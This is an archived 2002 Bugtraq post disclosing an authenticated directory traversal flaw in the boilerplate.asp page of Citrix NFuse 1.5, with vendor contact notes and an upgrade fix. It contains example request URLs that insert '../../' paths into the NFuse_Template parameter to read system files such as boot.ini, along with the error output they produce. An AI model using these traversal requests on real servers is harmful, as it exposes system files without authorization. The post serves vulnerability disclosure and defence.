Citrix Nfuse directory traversal with boilerplate.asp

From: Eric Budke (budkeat_private)
Date: Wed Mar 27 2002 - 13:26:36 PST

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    This vulnerability is based on being an authenticated user (as opposed to a 
    prior bug someone put out for an unauthenticated users).
    
    Disclaimer:
    My ability to find a resource at Citrix via their web site was not 
    successful, thus the post here. They have been notified thanks to some 
    contacts forwarded from people on Bugtraq.
    Given that you must be authenticated first, one assumes that you have some 
    minimal level of trust for the end user, so the severity isn't that high.
    I don't have access to large numbers of systems on which to check this and 
    to check across multiple versions. This should be reproducible, no guarantees.
    
    Solution: According to Citrix this issue is only in Nfuse 1.5 as the 
    boilerplate.asp goes away in the most recent version. Assuming one 
    upgrades, this and a number of other non-public (from what I can gather 
    from Citrix) vulnerabilities go away. I don't have the facilities to test 
    on the latest version, and for all I know something similar can be done 
    there. Citrix has been notified, their solution was to upgrade.
    
    
    
    A command such as:
    http://10.x.x.x/boilerplate.asp?NFuse_Template=template.ica&NFuse_Application=Attorneyx0020Homex0020Directory&NFuse_MIMEExtension=.ica 
    
    Can be replaced with one like this:
    http://10.x.x.x/boilerplate.asp?NFuse_Template=../../winnt/system32/axperf.ini&NFuse_CurrentFolder=/ 
    
    It seems to work with things in winnt and winnt/system32, it doesn't seem 
    to like things back on the c:\ which gives up its very minor vuln of the 
    path of wwwroot.
    http://10.x.x.x/boilerplate.asp?NFuse_Template=../../boot.ini&NFuse_CurrentFolder=/SSLx0020Directories 
    
    Gives up:
    There was an error:The Citrix HTML template specified does not exist or 
    could not be accessed. The template file specified was: 
    c:\inetpub\wwwroot\../../boot.ini
    Nice but lacking much use. So it seems we have another directory traversal 
    issue.
    
    
    Credits: Professionally I work for Foundstone (www.foundstone.com). This 
    wouldn't have been found w/o a client engagement through them. 
    



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